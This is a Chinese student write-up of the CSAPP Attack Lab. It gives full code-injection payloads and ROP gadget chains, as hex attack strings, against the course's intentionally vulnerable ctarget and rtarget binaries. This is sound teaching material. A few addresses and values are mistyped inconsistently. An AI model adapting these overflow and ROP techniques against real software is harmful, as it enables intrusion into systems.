Attack Lab 缓冲区溢出攻击实验
这是CSAPP课程的第三个Lab。
实验准备
实验介绍
-
简介
-
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种
Code injection
代码注入和Reeturn-oriented programming
(ROP)面向返回编程。 目的
-
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。
实验说明
-
文件说明
-
ctarget
:一个容易遭受code injection攻击的可执行程序。
rtarget
:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt
:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c
:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw
:一个生成攻击字符串的工具。
整个Lab的大致流程就是,输入一个字符串,然后利用stack
的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()
函数去调用getbuf()
函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch
函数。
-
X68-64寄存器和堆栈
-
X86-64有16个64位寄存器
1、%rax
作为函数返回值使用。
2、%rsp
栈指针寄存器,指向栈顶。
3、%rdi
,%rsi
,%rdx
,%rcx
,%r8
,%r9
用作函数参数,依次对应第1参数,第2参数……
4、%rbx
,%rbp
,%r12
,%r13
,%14
,%15
用作数据存储,遵循被调用者使用规则。
5、%r10
,%r11
用作数据存储,遵循调用者使用规则。
辅助工具说明
-
hex2raw
:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt
详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。
PART 1 : Code Injection Attacks
代码注入攻击:通过使缓冲区溢出,注入攻击代码。
ctarget
文件将执行test
函数,实验·任务是在执行完getbuf
函数后,程序不继续执行test
函数,而是执行touch
函数。
在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt
反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
Level 1
使getbuf
返回时,执行touch1
而不是返回test
。
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf
的返回值,即使getbuf
结尾处的ret指令
将控制转移到touch1
。
getbuf
汇编代码
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90
- 从第一句指令
sub $0x28,%rsp
可以得出getbuf
创建的缓冲区大小为0x28
字节。
0000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
函数的起始地址为0x4017c0
。getbuf
在栈中分配了40个字节的内存来存储输入数据。在执行ret
指令后,从%rsp+40
处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1
的起始地址,即将输入的第40-47个字符写为touch1
函数的起始地址。- 攻击字符串
level1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
这里注意小端法保存
- 调用
hex2raw
生成攻击字符串,并攻击ctarget
。
Level 2
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
使getbuf
返回时,执行touch2
而不是返回test
,并且让touch2
以为其接受的输入参数是cookie
,即0x59b997fa
。
- 汇编代码
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
touch2
函数的起始地址为0x4017ec
,根据x86-64寄存器规则和汇编代码可知touch2
函数的输入参数存储在寄存器%rdi
。所以我们需要在进入touch2
之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi
的值为cookie
,然后再跳转。所以步骤为:
1、将cookie
放入寄存器%rdi
中,然后将touch2
函数的起始地址压入栈中,这样通过ret
指令返回时就可以跳转到touch2
。
2、然后将利用缓冲区溢出的漏洞将getbuf
函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址
- 注入代码指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec //ret指令后出栈跳转到touch2
ret
- 利用编译和反汇编获得注入代码的机器代码:
gcc -c attack1.s
objdump -d attack1.o > attack1.txt
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
- 因此要注入的字符串为
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
。我们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由getbuf
开辟的缓冲区,而getbuf
利用Gets
开辟缓冲区,因此我们需要利用gdb
查看缓冲区的起始位置。
缓冲区的起始地址为0x5561dc78
。 - 攻击字符串
level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
- 使用
hex2raw
生成攻击字符串,并攻击ctarget
。
Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
- 和Level 2 一样
touch3
也需要传入cookie
但是要求以字符串的形式传入。和Level 2的区别是touch3
的参数是cookie
的字符串地址, 寄存器%rdi
存储cookie
字符串的地址。 - 汇编代码
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
touch3
的起始地址为0x4018fa
。因为在函数中调用了hexmatch
函数,并且该函数申请了110
字节的内存空间,如果cookie
存储在缓冲区内会被覆盖掉,因此通过gdb
查看调用hexmatch
后栈顶地址为0x5561dca0
,将字符串存储在栈之外即0x556dca8
处。cookie
值0x55997fa
的ACSII码为35 39 62 39 39 37 66 61 00
,末尾的00
是字符串结束标识符\n
。注入代码为:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi #存入cookie值ASCII码的地址
7: 68 fa 18 40 00 pushq $0x4018fa #跳转touch3
c: c3 retq
- 攻击字符串
level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII码
- 使用
hex2raw
生成攻击字符串,并攻击ctarget
。
PART 2:Return-Oriented Programming(ROP)
面向返回编程:
为了防止代码注入攻击,程序通常使用两种技术来阻止此类攻击:
- 栈随机化:每次程序运行栈的位置都是随机的,因此无法确定注入代码应放的位置;
- 限制可执行代码区域:将保存堆栈的内存区域标记为不可执行,因此即使将程序计数器设置为注入代码的开头,程序也会因为分段错误而失败。
因此通过执行现有代码而不是注入新代码来完成攻击,常见形式为ROP。
ROP的策略是识别现有程序的字节序列,程序会在栈上放入很多gadget地址(小的代码片段,并且会ret
),而每次ret都进入一个gadget
,这样可以形成一个程序链,通过将程序自身的指令来完成我们的目的。
根据实验参考文件,所需的所有gadger
都可以在函数start_farm
和mid_farm
划分的rtarget
的代码区域中找到。
- 代码
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 `48 89 c7 c3` lea -0x3c3876b8(%rdi),%eax # movq %rax,%rdi
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 `58 90` lea -0x6fa78caf(%rdi),%eax # popq %rax
4019ad: `c3` retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 `48 89 c7 90` movl $0x90c78948,(%rdi)
4019c9: `c3` retq
00000000004019ca <getval_280>:
4019ca: b8 29 `58 90 c3` mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c `89 c2 90` mov $0x90c2895c,%eax #movl %eax,%edx
4019e0: `c3` retq
00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 retq
00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 retq
00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 retq
00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 retq
00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 retq
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 retq
0000000000401a11 <addval_436>:
401a11: 8d 87 `89 ce 90 90` lea -0x6f6f3177(%rdi),%eax #movl %ecx,%esi
401a17: `c3` retq
0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 retq
0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 retq
0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 retq
0000000000401a33 <getval_159>:
401a33: b8 `89 d1 38 c9` mov $0xc938d189,%eax #movl %edx,%ecx
401a38: `c3` retq
0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 retq
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 retq
0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 retq
0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 retq
0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 retq
0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 retq
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 retq
0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 retq
0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 retq
0000000000401a83 <addval_358>:
401a83: 8d 87 08 `89 e0 90` lea -0x6f1f76f8(%rdi),%eax
401a89: `c3` retq
0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 retq
0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 retq
0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 retq
0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 retq
0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 retq
0000000000401aab <setval_350>:
401aab: c7 07 `48 89 e0 90` movl $0x90e08948,(%rdi) #movq %rsp,%rax
401ab1: `c3` retq
0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 retq
gadget farm中的满足条件的gadget
gadget | 起始地址 | 指令编号 | 指令 |
---|---|---|---|
<addval_273> | 0x4019a2 |
48 89 c7 c3 |
movq %rax,%rdi |
<addval_219> | 0x4019ca |
58 (90) c3 |
popq %rax |
<setval_350> | 0x401aad |
48 89 e0 (90) c3 |
movq %rsp,%rax |
<getval_481> | 0x4019dd |
89 c2 (90) c3 |
movl %eax,%edx |
<getval_159> | 0x401a34 |
89 d1 (38) (c9) c3 |
movl %edx,%ecx |
<addval_436> | 0x401a13 |
89 ce (90) (90) c3 |
movl %ecx,%esi |
<add_xy> | 0x4019d6 |
48 8d 04 37 c3 |
lea (%rdi,%rsi,1),%rax |
括号内的指令编码为nop或2字节指令,并不影响。
Level 4
-
要求
-
1、只能使用前八个x86-64寄存器
%rax-%rdi
;
2、只能使用movq
,popq
,ret
,nop
的gadget
;
3、只能使用两个gadget
完成攻击;
和Level 2一样将cookie
存储进寄存器%rdi
内。所以需要在rterget
中找到相应gadget
,可以凑出相应的能够实现攻击的指令。先将寄存器%rax
的值设置为cookie
,然后复制给%rdi
。,可以拼凑出代码为:
popq %rax
ret # 0x4019ab
mov %rax,%rdi
ret # 0x4019a2
- 攻击字符串 level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代码填满整个缓冲区以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat ret)的起始地址覆盖原先的返回地址
fa 97 b9 59 00 00 00 00 //cookie
a2 19 40 00 00 00 00 00
//gadget2(mov %rax,%rdi ret)的起始地址
ec 17 40 00 00 00 00 00 //touch2的起始地址
Level 5
-
要求
-
1、只能使用前八个x86-64寄存器
%rax-%rdi
;
2、可以使用movq
,movl
,popq
,ret
,nop
的gadget
;
3、可以使用在rtarget
代码中在start_farm
和end_farm
区域内的任意gadget
完成攻击;
4、至少需要8个gadget
实现此次攻击。
- level3一样,需要将寄存器
%rdi
的值设置为cookie
字符串的指针,即存储cookie
字符串的地址。 - 找到满足要求的
gadget
拼凑出攻击指令
movq %rsp,%rax //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add $x ,%rax
movq %rax,%rdi //将cookie字符串地址传递给%rdi
- 因此我们需要找到一个能够实现加法或减法的运算的
gadget
,但是参考文件中并没有相关的字节编码,需要寻找其他方法:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
- 通过观察可以通过上述代码来实现一个加法运算,
lea (%rdi,%rsi,1) %rax
的是%rax = %rdi + %rsi
传递的是地址,所以只要能够让%rdi
和%rsi
其中一个保存%rsp
,另一个保存从stack中pop
出来的偏移值,就可以表示cookie
字符串存放的地址。所以分成两部分代码:
1.把%rsp存放到%rdi中
2.把偏移值(需要确定指令数后才能确定)存放到%rsi中 - 在上述代码中并没有
movq %rax,%rsi
的gadget,只能通过过%eax
->%edx
->%ecx
->%esi
来实现。即将%eax
的值设置为cookie
字符串地址在栈中的偏移量并复制给%esi
需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax
到%esi
的值传递mov
指令都是4byte
的操作,如果对%rsp
的值采用这种方式,%rsp
的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。 - 最后的指令为:
mov %rsp,%rax
ret
mov %rax,%rdi #先将栈顶%rsp存入%rdi内
ret
popq %rax #将偏移量赋值给%eax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret
- 根据题目rsp是41-48字节处,所以在cookie字符串之前还有九条指令,共占有72个字节即
0x48
字节,所以cookie字符串的地址在栈中的偏移量为0x48
。 - 攻击字符串
level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代码填满整个缓冲区以致溢出
ad 1a 40 00 00 00 00 00 //movq %rsp,%rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ab 19 40 00 00 00 00 00 //popq %rax
48 00 00 00 00 00 00 00 //偏移值
dd 19 40 00 00 00 00 00 //movl %eax,%edx
34 1a 40 00 00 00 00 00 //movl %edx,%ecx
13 1a 40 00 00 00 00 00 //movl %ecx,%esi
d6 19 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
fa 18 40 00 00 00 00 00 //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串
实验总结
这一部分实验大概用了两个晚上的时间,这个实验的说明文档讲的很清晰,相对上一个实验还是容易些,通过这个实验对于堆栈还有参数传递有了更深的认识,对于机器代码如何控制程序运行也更加了解,以后有机会也会多了解一下这方面的知识。